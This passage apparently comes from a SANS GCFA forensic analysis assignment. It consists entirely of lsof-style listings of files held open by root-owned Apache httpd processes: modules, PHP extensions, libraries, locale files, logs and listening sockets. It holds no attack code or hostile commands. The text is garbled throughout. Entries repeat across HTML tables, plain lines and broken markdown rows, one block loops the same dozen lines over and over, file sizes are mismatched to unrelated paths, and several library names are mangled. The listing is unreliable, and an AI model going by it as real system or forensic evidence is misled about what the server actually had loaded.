<td>mem</td>
<td>10611</td>
<td>122952</td>
<td>/usr/lib/apache/libdav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>210094</td>
<td>/usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>1453198</td>
<td>/usr/lib/php4/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>8621</td>
<td>/usr/lib/apache/libpm.so.0.75</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>20666</td>
<td>/usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>130312</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>65</td>
<td>/usr/lib/locale/en_US.iso885915/LC_TIME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>10611</td>
<td>10176</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
</tbody>
</table>
Kevin Miller - Sans GCFA Assignment – v1.4

httpd 10612 root mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
httpd 10612 root mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
httpd 10612 root mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
httpd 10612 root mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
httpd 10612 root mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
httpd 10612 root mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
httpd 10612 root mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
httpd 10612 root mem REG 3,5 89424 63507 /lib/libnsl-2.2.5.so
httpd 10612 root mem REG 3,2 1561021 229551 /usr/lib/apache/libphp4.so
httpd 10612 root mem REG 3,5 35340 63567 /lib/libpam.so.0.75
httpd 10612 root mem REG 3,2 28138 66033 /usr/lib/libltdl.so.3.1.0
httpd 10612 root mem REG 3,2 5300 66039 /usr/lib/libpspell-modules.so.1.0.1
httpd 10612 root mem REG 3,2 426442 65304 /usr/lib/libstdc++-3-libc6.2-2.10.0.so
httpd 10612 root mem REG 3,2 131560 65396 /usr/lib/libpng.so.2.1.0.12
httpd 10612 root mem REG 3,2 59778 65358 /usr/lib/libz.so.1.1.3
httpd 10612 root mem REG 3,2 146819 66089 /usr/lib/libcurl.so.2.0.2
httpd 10612 root mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
httpd 10612 root mem REG 3,5 207008 63563 /lib/libssl.so.0.9.6b
httpd 10612 root mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
httpd 10612 root mem REG 3,2 290511 65311 /usr/lib/libncurses.so.5.2
httpd 10612 root mem REG 3,2 215482 65386 /usr/lib/libgmp.so.3.2.1
httpd 10612 root mem REG 3,2 196866 66037 /usr/lib/libgd.so.1.8.4
httpd 10612 root mem REG 3,2 717774 65410 /usr/lib/libxml2.so.2.4.19
httpd 10612 root mem REG 3,2 66646 65263 /usr/lib/libbz2.so.1.0.2
httpd 10612 root mem REG 3,2 189626 65384 /usr/lib/libttf.so.2.3.0
httpd 10612 root mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
httpd 10612 root mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
httpd 10612 root mem REG 3,2 79725 440048 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 10612 root mem REG 3,2 42069 425002 /usr/lib/php4/ldap.so
httpd 10612 root mem REG 3,2 44992 65349 /usr/lib/libibiber.so.2.0.15
httpd 10612 root mem REG 3,2 45415 65325 /lib/libnss_files-2.2.5.so
httpd 10612 root mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
httpd 10612 root mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
httpd 10612 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
httpd 10612 root mem REG 3,2 1264225 229530 /lib/libcrypto.so.0.9.6b
httpd 10612 root mem REG 3,2 191615 65349 /usr/lib/libibiber.so.2.0.15
httpd 10612 root mem REG 3,2 48583 65345 /usr/lib/libssl.so.1.7.1.8
httpd 10612 root mem REG 3,5 46117 65351 /lib/libnss_nisplus-2.2.5.so
httpd 10612 root mem REG 3,5 1401027 73730 /lib/lib68/libc-2.2.5.so
httpd 10612 root 0r CHR 1,3 9637 /dev/null
httpd 10612 root 2w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10612 root 3u REG 3,6 0 38183 /var/run/httpd.mm.8124.sem
httpd 10612 root 4u REG 3,5 0 26691 /tmp/session_mm_apache0.sem
httpd 10612 root 5u REG 3,5 8192 26693 /tmp/session_mm_apache0.sem
httpd 10612 root 15w REG 3,6 1729 44202 /var/log/httpd/error_log
httpd 10612 root 16u IPv4 361263 TCP :https (LISTEN)
httpd 10612 root 17u IPv4 361264 TCP :http (LISTEN)
httpd 10612 root 18w REG 3,6 265 44201 /var/log/httpd/access_log
httpd 10612 root 19w REG 3,6 0 44198 /var/log/httpd/ssl_request_log
httpd 10613 root cwd DIR 3,5 1024 2 /
httpd 10613 root rtd DIR 3,5 1024 2 /
httpd 10613 root rtent REG 3,2 290169 131802 /usr/sbin/httpd
httpd 10613 root mem REG 3,5 89547 63490 /lib/id-2.2.5.so
httpd 10613 root mem REG 3,2 98823 229527 /usr/lib/apache/mod_vhost_alias.so
httpd 10613 root mem REG 3,2 8301 229506 /usr/lib/apache/mod_env.so
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Mem</th>
<th>REG</th>
<th>Size (in bytes)</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>17638</td>
<td>/usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>7438</td>
<td>/usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8530</td>
<td>/usr/lib/apache/mod_logreferer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8274</td>
<td>/usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>171</td>
<td>/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>101902</td>
<td>/lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>173359</td>
<td>/lib/i686/libitm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>23575</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>30282</td>
<td>/lib/libdbm.so.2.0.0.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>655224</td>
<td>/lib/libdb-3.3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19662</td>
<td>/lib/libm.so.11.0.23</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>141735</td>
<td>/usr/lib/libxpat.so.0.1.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>12102</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>14929</td>
<td>/usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>27415</td>
<td>/usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>18365</td>
<td>/usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>19959</td>
<td>/usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>35886</td>
<td>/usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>27836</td>
<td>/usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>14940</td>
<td>/usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>6924</td>
<td>/usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>15974</td>
<td>/usr/lib/apache/modimap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8541</td>
<td>/usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8770</td>
<td>/usr/lib/apache/moduserdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10617</td>
<td>/usr/lib/apache/mod_asias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>31389</td>
<td>/usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10034</td>
<td>/usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>11985</td>
<td>/usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8486</td>
<td>/usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>9304</td>
<td>/usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>9900</td>
<td>/usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>8261</td>
<td>/usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>10176</td>
<td>/usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>REG</td>
<td>92407</td>
<td>/usr/lib/libexpat.so.0.1.0</td>
</tr>
</tbody>
</table>
| /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT | | | | | /
| httpd   | root  | mem | REG | 65            | /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT                        |
| httpd   | root  | mem | REG | 161            | /usr/lib/locale/en_US.iso885915/LC_TELEPHONE                          |
| /usr/lib/locale/en_US.iso885915/LC_ADDRESS | | | | | /
| httpd   | root  | mem | REG | 83             | /usr/lib/locale/en_US.iso885915/LC_ADDRESS                            |
| /usr/lib/locale/en_US.iso885915/LC_NAME | | | | | /
| httpd   | root  | mem | REG | 40             | /usr/lib/locale/en_US.iso885915/LC_NAME                               |
| /usr/lib/locale/en_US.iso885915/LC_PAPER | | | | | /
| httpd   | root  | mem | REG | 58             | /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LIB_MESSAGES          |
| /usr/lib/locale/en_US.iso885915/LC_COLLATE | | | | | /
| httpd   | root  | mem | REG | 292            | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| /usr/lib/locale/en_US.iso885915/LC_MONETARY | | | | | /
| httpd   | root  | mem | REG | 22592          | /usr/lib/locale/en_US.iso885915/LC_MONETARY                           |
| /usr/lib/locale/en_US.iso885915/LC_CURRENCY | | | | | /
| httpd   | root  | mem | REG | 39424          | /usr/lib/locale/en_US.iso885915/LC_CURRENCY                           |
| /usr/lib/locale/en_US.iso885915/LC_ADDRESS | | | | | /
| httpd   | root  | mem | REG | 1561021        | /usr/lib/locale/en_US.iso885915/LC_ADDRESS                            |
| /usr/lib/locale/en_US.iso885915/LC_COLLATE | | | | | /
| httpd   | root  | mem | REG | 35340          | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 28138          | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 5300           | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 426442         | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 131560         | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 59778          | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 146819         | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 92487         | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 207008         | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
| httpd   | root  | mem | REG | 68925          | /usr/lib/locale/en_US.iso885915/LC_COLLATE                            |
httpd 19365 root mem REG 3,2 10034 229493 /usr/lib/apache/mod_access.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0
httpd 19365 root mem REG 3,2 8486 425001 /usr/lib/php4/imap.so
httpd 19365 root mem REG 3,2 11985 229497 /usr/lib/apache/mod_auth.so
httpd 19365 root mem REG 3,2 9304 229508 /usr/lib/apache/mod_auth_db.so
httpd 19365 root mem REG 3,2 9000 229505 /usr/lib/apache/mod_auth_anon.so
httpd 19365 root mem REG 3,2 8261 229509 /usr/lib/apache/mod_headers.so
httpd 19365 root mem REG 3,2 10176 229521 /usr/lib/apache/mod_setenvif.so
httpd 19365 root mem REG 3,2 9900 440043 /usr/kerberos/lib/libk5crypto.so.3.0

<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Status</th>
<th>Size</th>
<th>Offset</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>httpd</td>
<td>root</td>
<td>1w</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>2w</td>
<td>3,6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>3u</td>
<td>3,6</td>
<td>0</td>
<td>38183 /var/run/httpd.mm.8124.sem</td>
</tr>
<tr>
<td>(deleted)</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>5u</td>
<td>3,5</td>
<td>8192</td>
<td>26693 /tmp/session_mm_apache0.sem</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>15w</td>
<td>3,6</td>
<td>1729</td>
<td>44202 /var/log/httpd/error_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>16u IPv4</td>
<td>361623</td>
<td>TCP</td>
<td>*:https (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>17u IPv4</td>
<td>361624</td>
<td>TCP</td>
<td>*:http (LISTEN)</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>18w</td>
<td>3,6</td>
<td>265</td>
<td>44201 /var/log/httpd/access_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>19w</td>
<td>3,6</td>
<td>0</td>
<td>44198 /var/log/httpd/ssl_request_log</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>cwd</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>rd</td>
<td>3,5</td>
<td>1024</td>
<td>2 /</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>txt</td>
<td>3,2</td>
<td>290169</td>
<td>131802 /usr/sbin/httpd</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>89547</td>
<td>63490 /lib/id-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>9883</td>
<td>229527 /usr/lib/apache/mod_vhost_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8301</td>
<td>229506 /usr/lib/apache/mod_env.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>17638</td>
<td>229514 /usr/lib/apache/mod_log_config.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>7438</td>
<td>229513 /usr/lib/apache/mod_log_agent.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8530</td>
<td>229515 /usr/lib/apache/mod_log_referer.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8274</td>
<td>229505 /usr/lib/apache/mod_dir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>371</td>
<td>130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>101902</td>
<td>73734 /lib/i686/libpthread-0.9.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>173359</td>
<td>73732 /lib/i686/libm-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>23575</td>
<td>63501 /lib/libcrypto-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>30282</td>
<td>52573 /lib/libgdm.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>655224</td>
<td>65341 /lib/libdbd-3.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>19662</td>
<td>66292 /usr/lib/libmm.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>141735</td>
<td>65380 /usr/lib/libexpat.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>12102</td>
<td>65303 /lib/idl-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>14929</td>
<td>229516 /usr/lib/apache/mod_mime.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>27415</td>
<td>229519 /usr/lib/apache/mod_negotiation.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>18365</td>
<td>229523 /usr/lib/apache/mod_status.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>19959</td>
<td>229512 /usr/lib/apache/mod_info.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>35886</td>
<td>229511 /usr/lib/apache/mod_include.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>27836</td>
<td>229501 /usr/lib/apache/mod_autoindex.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>14940</td>
<td>229503 /usr/lib/apache/mod_cgi.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>6924</td>
<td>229496 /usr/lib/apache/mod_asis.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>15974</td>
<td>229510 /usr/lib/apache/mod_imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8541</td>
<td>229494 /usr/lib/apache/mod_actions.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8770</td>
<td>229525 /usr/lib/apache/mod_userdir.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>10617</td>
<td>229495 /usr/lib/apache/mod_alias.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>53189</td>
<td>229520 /usr/lib/apache/mod_rewrite.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>10034</td>
<td>229493 /usr/lib/apache/mod_access.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>11985</td>
<td>229497 /usr/lib/apache/mod_auth.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8486</td>
<td>229498 /usr/lib/apache/mod_auth_anon.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>9304</td>
<td>229499 /usr/lib/apache/mod_auth_db.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>9900</td>
<td>229508 /usr/lib/apache/mod_expires.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8261</td>
<td>229509 /usr/lib/apache/mod_headers.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>10176</td>
<td>229521 /usr/lib/apache/mod_setenvif.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>92407</td>
<td>440046 /usr/lib/kerberos/lib/gssapic krb5.so.2.2</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,5</td>
<td>11174</td>
<td>63541 /lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>122952</td>
<td>229529 /usr/lib/apache/libdbav.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>210094</td>
<td>229531 /usr/lib/apache/libssl.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>1453190</td>
<td>425001 /usr/lib/php/imap.so</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>8621</td>
<td>440043 /usr/kerberos/lib/libgcm_err.so.3.0</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>20666</td>
<td>114263 /usr/lib/gconv/gconv-modules.cache</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>29</td>
<td>130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>65</td>
<td>130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>161</td>
<td>130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>83</td>
<td>130314 /usr/lib/locale/en_US.iso885915/LC_NAME</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>40</td>
<td>130315 /usr/lib/locale/en_US.iso885915/LC_PAPER</td>
</tr>
<tr>
<td>httpd</td>
<td>root</td>
<td>mem</td>
<td>3,2</td>
<td>58</td>
<td>179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES</td>
